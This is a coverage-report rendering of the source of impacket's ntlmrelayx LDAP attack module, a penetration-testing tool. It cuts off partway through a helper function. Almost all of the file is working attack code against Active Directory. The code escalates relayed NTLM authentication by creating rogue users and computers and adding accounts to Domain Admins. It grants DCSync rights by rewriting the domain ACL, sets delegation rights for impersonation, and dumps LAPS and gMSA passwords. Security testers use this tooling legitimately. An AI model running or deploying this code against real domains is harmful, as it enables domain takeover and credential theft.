Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/attacks/ldapattack.py: 8%

# Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/attacks/ldapattack.py : 8%

## 499 statements

Hot-keys on this page

r m x p toggle line displays

j k next/prev highlighted chunk

0 (zero) top of page

1 (one) first highlighted chunk

1# Impacket - Collection of Python classes for working with network protocols.

2#

3# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.

4#

5# This software is provided under a slightly modified version

6# of the Apache Software License. See the accompanying LICENSE file

7# for more information.

8#

9# Description:

10# LDAP Attack Class

11# LDAP(s) protocol relay attack

12#

13# Authors:

14# Alberto Solino (@agsolino)

15# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)

16#

17 import _thread

18 import random

19 import string

20 import json

21 import datetime

22 import binascii

23 import codecs

24 import re

25 import ldap3

26 import ldapdomaindump

27 from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM

28 from ldap3.utils.conv import escape_filter_chars

29 import os

30 from Cryptodome.Hash import MD4

31

32 from impacket import LOG

33 from impacket.examples.ldap_shell import LdapShell

34 from impacket.examples.ntlmrelayx.attacks import ProtocolAttack

35 from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell

36 from impacket.ldap import ldaptypes

37 from impacket.ldap.ldaptypes import ACCESS_ALLOWED_OBJECT_ACE, ACCESS_MASK, ACCESS_ALLOWED_ACE, ACE, OBJECTTYPE_GUID_MAP

38 from impacket.uuid import string_to_bin, bin_to_string

39 from impacket.structure import Structure, hexdump

40

41# This is new from ldap3 v2.5

42 try:

43 from ldap3.protocol.microsoft import security_descriptor_control

44 except ImportError:

45 # We use a print statement because the logger is not initialized yet here

46 print("Failed to import required functions from ldap3. ntlmrelayx requires ldap3 >= 2.5.0. \

47 Please update with 'python -m pip install ldap3 --upgrade'")

48 PROTOCOL_ATTACK_CLASS = "LDAPAttack"

49

50# Define global variables to prevent dumping the domain twice

51# and to prevent privilege escalating more than once

52 dumpedDomain = False

53 alreadyEscalated = False

54 alreadyAddedComputer = False

55 delegatePerformed = []

56

57#gMSA structure

58 class MSDS_MANAGEDPASSWORD_BLOB(Structure):

59 structure = (

60 ('Version','<H'),

61 ('Reserved','<H'),

62 ('Length','<L'),

63 ('CurrentPasswordOffset','<H'),

64 ('PreviousPasswordOffset','<H'),

65 ('QueryPasswordIntervalOffset','<H'),

66 ('UnchangedPasswordIntervalOffset','<H'),

67 ('CurrentPassword',':'),

68 ('PreviousPassword',':'),

69 #('AlignmentPadding',':'),

70 ('QueryPasswordInterval',':'),

71 ('UnchangedPasswordInterval',':'),

72 )

73

74 def __init__(self, data = None):

75 Structure.__init__(self, data = data)

76

77 def fromString(self, data):

78 Structure.fromString(self,data)

79

80 if self['PreviousPasswordOffset'] == 0:

81 endData = self['QueryPasswordIntervalOffset']

82 else:

83 endData = self['PreviousPasswordOffset']

84

85 self['CurrentPassword'] = self.rawData[self['CurrentPasswordOffset']:][:endData - self['CurrentPasswordOffset']]

86 if self['PreviousPasswordOffset'] != 0:

87 self['PreviousPassword'] = self.rawData[self['PreviousPasswordOffset']:][:self['QueryPasswordIntervalOffset']-self['PreviousPasswordOffset']]

88

89 self['QueryPasswordInterval'] = self.rawData[self['QueryPasswordIntervalOffset']:][:self['UnchangedPasswordIntervalOffset']-self['QueryPasswordIntervalOffset']]

90 self['UnchangedPasswordInterval'] = self.rawData[self['UnchangedPasswordIntervalOffset']:]

91

92

93 class LDAPAttack(ProtocolAttack):

94 """

95 This is the default LDAP attack. It checks the privileges of the relayed account

96 and performs a domaindump if the user does not have administrative privileges.

97 If the user is an Enterprise or Domain admin, a new user is added to escalate to DA.

98 """

99 PLUGIN_NAMES = ["LDAP", "LDAPS"]

100

101 # ACL constants

102 # When reading, these constants are actually represented by

103 # the following for Active Directory specific Access Masks

104 # Reference: https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2

105 GENERIC_READ = 0x00020094

106 GENERIC_WRITE = 0x00020028

107 GENERIC_EXECUTE = 0x00020004

108 GENERIC_ALL = 0x000F01FF

109

110 def __init__(self, config, LDAPClient, username):

111 self.computerName = '' if config.addcomputer == 'Rand' else config.addcomputer

112 ProtocolAttack.__init__(self, config, LDAPClient, username)

113 if self.config.interactive:

114 # Launch locally listening interactive shell.

115 self.tcp_shell = TcpShell()

116

117 def addComputer(self, parent, domainDumper):

118 """

119 Add a new computer. Parent is preferably CN=computers,DC=Domain,DC=local, but can

120 also be an OU or other container where we have write privileges

121 """

122 global alreadyAddedComputer

123 if alreadyAddedComputer:

124 LOG.error('New computer already added. Refusing to add another')

125 return

126

127 # Random password

128 newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))

129

130 # Get the domain we are in

131 domaindn = domainDumper.root

132 domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:]

133

134 computerName = self.computerName

135 if not computerName:

136 # Random computername

137 newComputer = (''.join(random.choice(string.ascii_letters) for _ in range(8)) + '$').upper()

138 else:

139 newComputer = computerName if computerName.endswith('$') else computerName + '$'

140

141 computerHostname = newComputer[:-1]

142 newComputerDn = ('CN=%s,%s' % (computerHostname, parent)).encode('utf-8')

143

144 # Default computer SPNs

145 spns = [

146 'HOST/%s' % computerHostname,

147 'HOST/%s.%s' % (computerHostname, domain),

148 'RestrictedKrbHost/%s' % computerHostname,

149 'RestrictedKrbHost/%s.%s' % (computerHostname, domain),

150 ]

151 ucd = {

152 'dnsHostName': '%s.%s' % (computerHostname, domain),

153 'userAccountControl': 4096,

154 'servicePrincipalName': spns,

155 'sAMAccountName': newComputer,

156 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le')

157 }

158 LOG.debug('New computer info %s', ucd)

159 LOG.info('Attempting to create computer in: %s', parent)

160 res = self.client.add(newComputerDn.decode('utf-8'), ['top','person','organizationalPerson','user','computer'], ucd)

161 if not res:

162 # Adding computers requires LDAPS

163 if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:

164 LOG.error('Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.')

165 else:

166 LOG.error('Failed to add a new computer: %s' % str(self.client.result))

167 return False

168 else:

169 LOG.info('Adding new computer with username: %s and password: %s result: OK' % (newComputer, newPassword))

170 alreadyAddedComputer = True

171 # Return the SAM name

172 return newComputer

173

174 def addUser(self, parent, domainDumper):

175 """

176 Add a new user. Parent is preferably CN=Users,DC=Domain,DC=local, but can

177 also be an OU or other container where we have write privileges

178 """

179 global alreadyEscalated

180 if alreadyEscalated:

181 LOG.error('New user already added. Refusing to add another')

182 return

183

184 # Random password

185 newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))

186

187 # Random username

188 newUser = ''.join(random.choice(string.ascii_letters) for _ in range(10))

189 newUserDn = 'CN=%s,%s' % (newUser, parent)

190 ucd = {

191 'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % domainDumper.root,

192 'distinguishedName': newUserDn,

193 'cn': newUser,

194 'sn': newUser,

195 'givenName': newUser,

196 'displayName': newUser,

197 'name': newUser,

198 'userAccountControl': 512,

199 'accountExpires': '0',

200 'sAMAccountName': newUser,

201 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le')

202 }

203 LOG.info('Attempting to create user in: %s', parent)

204 res = self.client.add(newUserDn, ['top', 'person', 'organizationalPerson', 'user'], ucd)

205 if not res:

206 # Adding users requires LDAPS

207 if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:

208 LOG.error('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.')

209 else:

210 LOG.error('Failed to add a new user: %s' % str(self.client.result))

211 return False

212 else:

213 LOG.info('Adding new user with username: %s and password: %s result: OK' % (newUser, newPassword))

214

215 # Return the DN

216 return newUserDn

217

218 def addUserToGroup(self, userDn, domainDumper, groupDn):

219 global alreadyEscalated

220 # For display only

221 groupName = groupDn.split(',')[0][3:]

222 userName = userDn.split(',')[0][3:]

223 # Now add the user as a member to this group

224 res = self.client.modify(groupDn, {

225 'member': [(ldap3.MODIFY_ADD, [userDn])]})

226 if res:

227 LOG.info('Adding user: %s to group %s result: OK' % (userName, groupName))

228 LOG.info('Privilege escalation succesful, shutting down...')

229 alreadyEscalated = True

230 _thread.interrupt_main()

231 else:

232 LOG.error('Failed to add user to %s group: %s' % (groupName, str(self.client.result)))

233

234 def delegateAttack(self, usersam, targetsam, domainDumper, sid):

235 global delegatePerformed

236 if targetsam in delegatePerformed:

237 LOG.info('Delegate attack already performed for this computer, skipping')

238 return

239

240 if not usersam:

241 usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper)

242 self.config.escalateuser = usersam

243

244 if not sid:

245 # Get escalate user sid

246 result = self.getUserInfo(domainDumper, usersam)

247 if not result:

248 LOG.error('User to escalate does not exist!')

249 return

250 escalate_sid = str(result[1])

251 else:

252 escalate_sid = usersam

253

254 # Get target computer DN

255 result = self.getUserInfo(domainDumper, targetsam)

256 if not result:

257 LOG.error('Computer to modify does not exist! (wrong domain?)')

258 return

259 target_dn = result[0]

260

261 self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])

262 targetuser = None

263 for entry in self.client.response:

264 if entry['type'] != 'searchResEntry':

265 continue

266 targetuser = entry

267 if not targetuser:

268 LOG.error('Could not query target user properties')

269 return

270 try:

271 sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])

272 LOG.debug('Currently allowed sids:')

273 for ace in sd['Dacl'].aces:

274 LOG.debug(' %s' % ace['Ace']['Sid'].formatCanonical())

275 except IndexError:

276 # Create DACL manually

277 sd = create_empty_sd()

278 sd['Dacl'].aces.append(create_allow_ace(escalate_sid))

279 self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})

280 if self.client.result['result'] == 0:

281 LOG.info('Delegation rights modified succesfully!')

282 LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam)

283 delegatePerformed.append(targetsam)

284 else:

285 if self.client.result['result'] == 50:

286 LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])

287 elif self.client.result['result'] == 19:

288 LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])

289 else:

290 LOG.error('The server returned an error: %s', self.client.result['message'])

291 return

292

293 def aclAttack(self, userDn, domainDumper):

294 global alreadyEscalated

295 if alreadyEscalated:

296 LOG.error('ACL attack already performed. Refusing to continue')

297 return

298

299 # Dictionary for restore data

300 restoredata = {}

301

302 # Query for the sid of our user

303 try:

304 self.client.search(userDn, '(objectClass=user)', attributes=['sAMAccountName', 'objectSid'])

305 entry = self.client.entries[0]

306 except IndexError:

307 LOG.error('Could not retrieve infos for user: %s' % userDn)

308 return

309 username = entry['sAMAccountName'].value

310 usersid = entry['objectSid'].value

311 LOG.debug('Found sid for user %s: %s' % (username, usersid))

312

313 # Set SD flags to only query for DACL

314 controls = security_descriptor_control(sdflags=0x04)

315 alreadyEscalated = True

316

317 LOG.info('Querying domain security descriptor')

318 self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)

319 entry = self.client.entries[0]

320 secDescData = entry['nTSecurityDescriptor'].raw_values[0]

321 secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)

322

323 # Save old SD for restore purposes

324 restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')

325 restoredata['target_sid'] = usersid

326

327 secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid))

328 secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid))

329 dn = entry.entry_dn

330 data = secDesc.getData()

331 self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)

332 if self.client.result['result'] == 0:

333 alreadyEscalated = True

334 LOG.info('Success! User %s now has Replication-Get-Changes-All privileges on the domain', username)

335 LOG.info('Try using DCSync with secretsdump.py and this user :)')

336

337 # Query the SD again to see what AD made of it

338 self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)

339 entry = self.client.entries[0]

340 newSD = entry['nTSecurityDescriptor'].raw_values[0]

341 # Save this to restore the SD later on

342 restoredata['target_dn'] = dn

343 restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8')

344 restoredata['success'] = True

345 self.writeRestoreData(restoredata, dn)

346 return True

347 else:

348 LOG.error('Error when updating ACL: %s' % self.client.result)

349 return False

350

351 def writeRestoreData(self, restoredata, domaindn):

352 output = {}

353 domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:]

354 output['config'] = {'server':self.client.server.host,'domain':domain}

355 output['history'] = [{'operation': 'add_domain_sync', 'data': restoredata, 'contextuser': self.username}]

356 now = datetime.datetime.now()

357 filename = 'aclpwn-%s.restore' % now.strftime("%Y%m%d-%H%M%S")

358 # Save the json to file

359 with codecs.open(filename, 'w', 'utf-8') as outfile:

360 json.dump(output, outfile)

361 LOG.info('Saved restore state to %s', filename)

362

363 def validatePrivileges(self, uname, domainDumper):

364 # Find the user's DN

365 membersids = []

366 sidmapping = {}

367 privs = {

368 'create': False, # Whether we can create users

369 'createIn': None, # Where we can create users

370 'escalateViaGroup': False, # Whether we can escalate via a group

371 'escalateGroup': None, # The group we can escalate via

372 'aclEscalate': False, # Whether we can escalate via ACL on the domain object

373 'aclEscalateIn': None # The object which ACL we can edit

374 }

375 self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(uname), attributes=['objectSid', 'primaryGroupId'])

376 user = self.client.entries[0]

377 usersid = user['objectSid'].value

378 sidmapping[usersid] = user.entry_dn

379 membersids.append(usersid)

380 # The groups the user is a member of

381 self.client.search(domainDumper.root, '(member:1.2.840.113556.1.4.1941:=%s)' % escape_filter_chars(user.entry_dn), attributes=['name', 'objectSid'])

382 LOG.debug('User is a member of: %s' % self.client.entries)

383 for entry in self.client.entries:

384 sidmapping[entry['objectSid'].value] = entry.entry_dn

385 membersids.append(entry['objectSid'].value)

386 # Also search by primarygroupid

387 # First get domain SID

388 self.client.search(domainDumper.root, '(objectClass=domain)', attributes=['objectSid'])

389 domainsid = self.client.entries[0]['objectSid'].value

390 gid = user['primaryGroupId'].value

391 # Now search for this group by SID

392 self.client.search(domainDumper.root, '(objectSid=%s-%d)' % (domainsid, gid), attributes=['name', 'objectSid', 'distinguishedName'])

393 group = self.client.entries[0]

394 LOG.debug('User is a member of: %s' % self.client.entries)

395 # Add the group sid of the primary group to the list

396 sidmapping[group['objectSid'].value] = group.entry_dn

397 membersids.append(group['objectSid'].value)

398 controls = security_descriptor_control(sdflags=0x05) # Query Owner and Dacl

399 # Now we have all the SIDs applicable to this user, now enumerate the privileges of domains and OUs

400 entries = self.client.extend.standard.paged_search(domainDumper.root, '(|(objectClass=domain)(objectClass=organizationalUnit))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True)

401 self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper)

402 # Also get the privileges on the default Users container

403 entries = self.client.extend.standard.paged_search(domainDumper.root, '(&(cn=Users)(objectClass=container))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True)

404 self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper)

405

406 # Interesting groups we'd like to be a member of, in order of preference

407 interestingGroups = [

408 '%s-%d' % (domainsid, 519), # Enterprise admins

409 '%s-%d' % (domainsid, 512), # Domain admins

410 'S-1-5-32-544', # Built-in Administrators

411 'S-1-5-32-551', # Backup operators

412 'S-1-5-32-548', # Account operators

413 ]

414 privs['escalateViaGroup'] = False

415 for group in interestingGroups:

416 self.client.search(domainDumper.root, '(objectSid=%s)' % group, attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls)

417 groupdata = self.client.response

418 self.checkSecurityDescriptors(groupdata, privs, membersids, sidmapping, domainDumper)

419 if privs['escalateViaGroup']:

420 # We have a result - exit the loop

421 break

422 return (usersid, privs)

423

424 def getUserInfo(self, domainDumper, samname):

425 entries = self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid'])

426 try:

427 dn = self.client.entries[0].entry_dn

428 sid = self.client.entries[0]['objectSid']

429 return (dn, sid)

430 except IndexError:

431 LOG.error('User not found in LDAP: %s' % samname)

432 return False

433

434 def checkSecurityDescriptors(self, entries, privs, membersids, sidmapping, domainDumper):

435 standardrights = [

436 self.GENERIC_ALL,

437 self.GENERIC_WRITE,

438 self.GENERIC_READ,

439 ACCESS_MASK.WRITE_DACL

440 ]

441 for entry in entries:

442 if entry['type'] != 'searchResEntry':

443 continue

444 dn = entry['dn']

445 try:

446 sdData = entry['raw_attributes']['nTSecurityDescriptor'][0]

447 except IndexError:

448 # We don't have the privileges to read this security descriptor

449 LOG.debug('Access to security descriptor was denied for DN %s', dn)

450 continue

451 hasFullControl = False

452 secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR()

453 secDesc.fromString(sdData)

454 if secDesc['OwnerSid'] != '' and secDesc['OwnerSid'].formatCanonical() in membersids:

455 sid = secDesc['OwnerSid'].formatCanonical()

456 LOG.debug('Permission found: Full Control on %s; Reason: Owner via %s' % (dn, sidmapping[sid]))

457 hasFullControl = True

458 # Iterate over all the ACEs

459 for ace in secDesc['Dacl'].aces:

460 sid = ace['Ace']['Sid'].formatCanonical()

461 if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace['AceType'] != ACCESS_ALLOWED_ACE.ACE_TYPE:

462 continue

463 if not ace.hasFlag(ACE.INHERITED_ACE) and ace.hasFlag(ACE.INHERIT_ONLY_ACE):

464 # ACE is set on this object, but only inherited, so not applicable to us

465 continue

466

467 # Check if the ACE has restrictions on object type (inherited case)

468 if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \

469 and ace.hasFlag(ACE.INHERITED_ACE) \

470 and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT):

471 # Verify if the ACE applies to this object type

472 inheritedObjectType = bin_to_string(ace['Ace']['InheritedObjectType']).lower()

473 if not self.aceApplies(inheritedObjectType, entry['raw_attributes']['objectClass'][-1]):

474 continue

475 # Check for non-extended rights that may not apply to us

476 if ace['Ace']['Mask']['Mask'] in standardrights or ace['Ace']['Mask'].hasPriv(ACCESS_MASK.WRITE_DACL):

477 # Check if this applies to our objecttype

478 if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT):

479 objectType = bin_to_string(ace['Ace']['ObjectType']).lower()

480 if not self.aceApplies(objectType, entry['raw_attributes']['objectClass'][-1]):

481 # LOG.debug('ACE does not apply, only to %s', objectType)

482 continue

483 if sid in membersids:

484 # Generic all

485 if ace['Ace']['Mask'].hasPriv(self.GENERIC_ALL):

486 ace.dump()

487 LOG.debug('Permission found: Full Control on %s; Reason: GENERIC_ALL via %s' % (dn, sidmapping[sid]))

488 hasFullControl = True

489 if can_create_users(ace) or hasFullControl:

490 if not hasFullControl:

491 LOG.debug('Permission found: Create users in %s; Reason: Granted to %s' % (dn, sidmapping[sid]))

492 if dn == 'CN=Users,%s' % domainDumper.root:

493 # We can create users in the default container, this is preferred

494 privs['create'] = True

495 privs['createIn'] = dn

496 else:

497 # Could be a different OU where we have access

498 # store it until we find a better place

499 if privs['createIn'] != 'CN=Users,%s' % domainDumper.root and b'organizationalUnit' in entry['raw_attributes']['objectClass']:

500 privs['create'] = True

501 privs['createIn'] = dn

502 if can_add_member(ace) or hasFullControl:

503 if b'group' in entry['raw_attributes']['objectClass']:

504 # We can add members to a group

505 if not hasFullControl:

506 LOG.debug('Permission found: Add member to %s; Reason: Granted to %s' % (dn, sidmapping[sid]))

507 privs['escalateViaGroup'] = True

508 privs['escalateGroup'] = dn

509 if ace['Ace']['Mask'].hasPriv(ACCESS_MASK.WRITE_DACL) or hasFullControl:

510 # Check if the ACE is an OBJECT ACE, if so the WRITE_DACL is applied to

511 # a property, which is both weird and useless, so we skip it

512 if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \

513 and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT):

514 # LOG.debug('Skipping WRITE_DACL since it has an ObjectType set')

515 continue

516 if not hasFullControl:

517 LOG.debug('Permission found: Write Dacl of %s; Reason: Granted to %s' % (dn, sidmapping[sid]))

518 # We can modify the domain Dacl

519 if b'domain' in entry['raw_attributes']['objectClass']:

520 privs['aclEscalate'] = True

521 privs['aclEscalateIn'] = dn

522

523 @staticmethod

524 def aceApplies(ace_guid, object_class):

525 '''

526 Checks if an ACE applies to this object (based on object classes).

527 Note that this function assumes you already verified that InheritedObjectType is set (via the flag).

528 If this is not set, the ACE applies to all object types.

529 '''

530 try:

531 our_ace_guid = OBJECTTYPE_GUID_MAP[object_class]

532 except KeyError:

533 return False

534 if ace_guid == our_ace_guid:

535 return True

536 # If none of these match, the ACE does not apply to this object

537 return False

538

539

540 def run(self):

541 #self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)')

542 #print self.client.entries

543 global dumpedDomain

544 # Set up a default config

545 domainDumpConfig = ldapdomaindump.domainDumpConfig()

546

547 # Change the output directory to configured rootdir

548 domainDumpConfig.basepath = self.config.lootdir

549

550 # Create new dumper object

551 domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig)

552

553 if self.config.interactive:

554 if self.tcp_shell is not None:

555 LOG.info('Started interactive Ldap shell via TCP on 127.0.0.1:%d' % self.tcp_shell.port)

556 # Start listening and launch interactive shell.

557 self.tcp_shell.listen()

558 ldap_shell = LdapShell(self.tcp_shell, domainDumper, self.client)

559 ldap_shell.cmdloop()

560 return

561

562 # If specified validate the user's privileges. This might take a while on large domains but will

563 # identify the proper containers for escalating via the different techniques.

564 if self.config.validateprivs:

565 LOG.info('Enumerating relayed user\'s privileges. This may take a while on large domains')

566 userSid, privs = self.validatePrivileges(self.username, domainDumper)

567 if privs['create']:

568 LOG.info('User privileges found: Create user')

569 if privs['escalateViaGroup']:

570 name = privs['escalateGroup'].split(',')[0][3:]

571 LOG.info('User privileges found: Adding user to a privileged group (%s)' % name)

572 if privs['aclEscalate']:

573 LOG.info('User privileges found: Modifying domain ACL')

574

575 # If validation of privileges is not desired, we assumed that the user has permissions to escalate

576 # an existing user via ACL attacks.

577 else:

578 LOG.info('Assuming relayed user has privileges to escalate a user via ACL attack')

579 privs = dict()

580 privs['create'] = False

581 privs['aclEscalate'] = True

582 privs['escalateViaGroup'] = False

583

584 # We prefer ACL escalation since it is more quiet

585 if self.config.aclattack and privs['aclEscalate']:

586 LOG.debug('Performing ACL attack')

587 if self.config.escalateuser:

588 # We can escalate an existing user

589 result = self.getUserInfo(domainDumper, self.config.escalateuser)

590 # Unless that account does not exist of course

591 if not result:

592 LOG.error('Unable to escalate without a valid user.')

593 else:

594 userDn, userSid = result

595 # Perform the ACL attack

596 self.aclAttack(userDn, domainDumper)

597 elif privs['create']:

598 # Create a nice shiny new user for the escalation

599 userDn = self.addUser(privs['createIn'], domainDumper)

600 if not userDn:

601 LOG.error('Unable to escalate without a valid user.')

602 # Perform the ACL attack

603 else:

604 self.aclAttack(userDn, domainDumper)

605 else:

606 LOG.error('Cannot perform ACL escalation because we do not have create user '\

607 'privileges. Specify a user to assign privileges to with --escalate-user')

608

609 # If we can't ACL escalate, try adding us to a privileged group

610 if self.config.addda and privs['escalateViaGroup']:

611 LOG.debug('Performing Group attack')

612 if self.config.escalateuser:

613 # We can escalate an existing user

614 result = self.getUserInfo(domainDumper, self.config.escalateuser)

615 # Unless that account does not exist of course

616 if not result:

617 LOG.error('Unable to escalate without a valid user.')

618 # Perform the Group attack

619 else:

620 userDn, userSid = result

621 self.addUserToGroup(userDn, domainDumper, privs['escalateGroup'])

622

623 elif privs['create']:

624 # Create a nice shiny new user for the escalation

625 userDn = self.addUser(privs['createIn'], domainDumper)

626 if not userDn:

627 LOG.error('Unable to escalate without a valid user, aborting.')

628 # Perform the Group attack

629 else:

630 self.addUserToGroup(userDn, domainDumper, privs['escalateGroup'])

631

632 else:

633 LOG.error('Cannot perform ACL escalation because we do not have create user '\

634 'privileges. Specify a user to assign privileges to with --escalate-user')

635

636 # Dump LAPS Passwords

637 if self.config.dumplaps:

638 LOG.info("Attempting to dump LAPS passwords")

639

640 success = self.client.search(domainDumper.root, '(&(objectCategory=computer))', search_scope=ldap3.SUBTREE, attributes=['DistinguishedName','ms-MCS-AdmPwd'])

641

642 if success:

643

644 fd = None

645 filename = "laps-dump-" + self.username + "-" + str(random.randint(0, 99999))

646 count = 0

647

648 for entry in self.client.response:

649 try:

650 dn = "DN:" + entry['attributes']['distinguishedname']

651 passwd = "Password:" + entry['attributes']['ms-MCS-AdmPwd']

652

653 if fd is None:

654 fd = open(filename, "a+")

655

656 count += 1

657

658 LOG.debug(dn)

659 LOG.debug(passwd)

660

661 fd.write(dn)

662 fd.write("\n")

663 fd.write(passwd)

664 fd.write("\n")

665

666 except:

667 continue

668

669 if fd is None:

670 LOG.info("The relayed user %s does not have permissions to read any LAPS passwords" % self.username)

671 else:

672 LOG.info("Successfully dumped %d LAPS passwords through relayed account %s" % (count, self.username))

673 fd.close()

674

675 #Dump gMSA Passwords

676 if self.config.dumpgmsa:

677 LOG.info("Attempting to dump gMSA passwords")

678 success = self.client.search(domainDumper.root, '(&(ObjectClass=msDS-GroupManagedServiceAccount))', search_scope=ldap3.SUBTREE, attributes=['sAMAccountName','msDS-ManagedPassword'])

679 if success:

680 fd = None

681 filename = "gmsa-dump-" + self.username + "-" + str(random.randint(0, 99999))

682 count = 0

683 for entry in self.client.response:

684 try:

685 sam = entry['attributes']['sAMAccountName']

686 data = entry['attributes']['msDS-ManagedPassword']

687 blob = MSDS_MANAGEDPASSWORD_BLOB()

688 blob.fromString(data)

689 hash = MD4.new ()

690 hash.update (blob['CurrentPassword'][:-2])

691 passwd = binascii.hexlify(hash.digest()).decode("utf-8")

692 userpass = sam + ':::' + passwd

693 LOG.info(userpass)

694 count += 1

695 if fd is None:

696 fd = open(filename, "a+")

697 fd.write(userpass)

698 fd.write("\n")

699 except:

700 continue

701 if fd is None:

702 LOG.info("The relayed user %s does not have permissions to read any gMSA passwords" % self.username)

703 else:

704 LOG.info("Successfully dumped %d gMSA passwords through relayed account %s" % (count, self.username))

705 fd.close()

706

707 # Perform the Delegate attack if it is enabled and we relayed a computer account

708 if self.config.delegateaccess and self.username[-1] == '$':

709 self.delegateAttack(self.config.escalateuser, self.username, domainDumper, self.config.sid)

710 return

711

712 # Add a new computer if that is requested

713 # privileges required are not yet enumerated, neither is ms-ds-MachineAccountQuota

714 if self.config.addcomputer:

715 self.client.search(domainDumper.root, "(ObjectClass=domain)", attributes=['wellKnownObjects'])

716 # Computer well-known GUID

717 # https://social.technet.microsoft.com/Forums/windowsserver/en-US/d028952f-a25a-42e6-99c5-28beae2d3ac3/how-can-i-know-the-default-computer-container?forum=winservergen

718 computerscontainer = [

719 entry.decode('utf-8').split(":")[-1] for entry in self.client.entries[0]["wellKnownObjects"]

720 if b"AA312825768811D1ADED00C04FD8D5CD" in entry

721 ][0]

722 LOG.debug("Computer container is {}".format(computerscontainer))

723 self.addComputer(computerscontainer, domainDumper)

724 return

725

726 # Last attack, dump the domain if no special privileges are present

727 if not dumpedDomain and self.config.dumpdomain:

728 # Do this before the dump is complete because of the time this can take

729 dumpedDomain = True

730 LOG.info('Dumping domain info for first time')

731 domainDumper.domainDump()

732 LOG.info('Domain info dumped into lootdir!')

733

734# Create an object ACE with the specified privguid and our sid

735 def create_object_ace(privguid, sid):

736 nace = ldaptypes.ACE()

737 nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE

738 nace['AceFlags'] = 0x00

739 acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE()

740 acedata['Mask'] = ldaptypes.ACCESS_MASK()

741 acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS

742 acedata['ObjectType'] = string_to_bin(privguid)

743 acedata['InheritedObjectType'] = b''

744 acedata['Sid'] = ldaptypes.LDAP_SID()

745 acedata['Sid'].fromCanonical(sid)

746 assert sid == acedata['Sid'].formatCanonical()

747 acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT

748 nace['Ace'] = acedata

749 return nace

750

751# Create an ALLOW ACE with the specified sid

752 def create_allow_ace(sid):

753 nace = ldaptypes.ACE()

754 nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE

755 nace['AceFlags'] = 0x00

756 acedata = ldaptypes.ACCESS_ALLOWED_ACE()

757 acedata['Mask'] = ldaptypes.ACCESS_MASK()

758 acedata['Mask']['Mask'] = 983551 # Full control

